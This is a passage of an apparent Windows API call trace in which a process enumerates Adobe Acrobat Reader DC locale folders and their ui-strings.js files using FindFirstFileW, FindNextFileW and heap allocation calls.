hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.219] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0259.219] GetProcessHeap () returned 0xc10000 [0259.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.220] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.220] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.220] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.220] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.220] GetProcessHeap () returned 0xc10000 [0259.220] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.220] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0259.220] GetProcessHeap () returned 0xc10000 [0259.220] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.221] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.221] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.221] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0259.221] GetProcessHeap () returned 0xc10000 [0259.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.221] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0259.222] GetProcessHeap () returned 0xc10000 [0259.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.222] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x11ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.222] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.222] GetProcessHeap () returned 0xc10000 [0259.222] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.222] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0259.222] GetProcessHeap () returned 0xc10000 [0259.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.223] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.223] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.223] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.223] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0259.223] GetProcessHeap () returned 0xc10000 [0259.223] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.223] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0259.223] GetProcessHeap () returned 0xc10000 [0259.223] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1143, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.224] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1143, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.224] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.225] GetProcessHeap () returned 0xc10000 [0259.225] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.225] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0259.225] GetProcessHeap () returned 0xc10000 [0259.225] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0259.226] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.226] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x127c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.226] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x127c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.226] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0259.226] GetProcessHeap () returned 0xc10000 [0259.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.226] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0259.226] GetProcessHeap () returned 0xc10000 [0259.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.227] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.227] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x127c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0259.227] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x127c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0259.227] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.231] GetProcessHeap () returned 0xc10000 [0259.231] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.231] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0259.231] GetProcessHeap () returned 0xc10000 [0259.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0259.232] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.232] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.232] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0259.233] GetProcessHeap () returned 0xc10000 [0259.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0259.233] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0259.233] GetProcessHeap () returned 0xc10000 [0259.233] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.233] FindFirstFileW 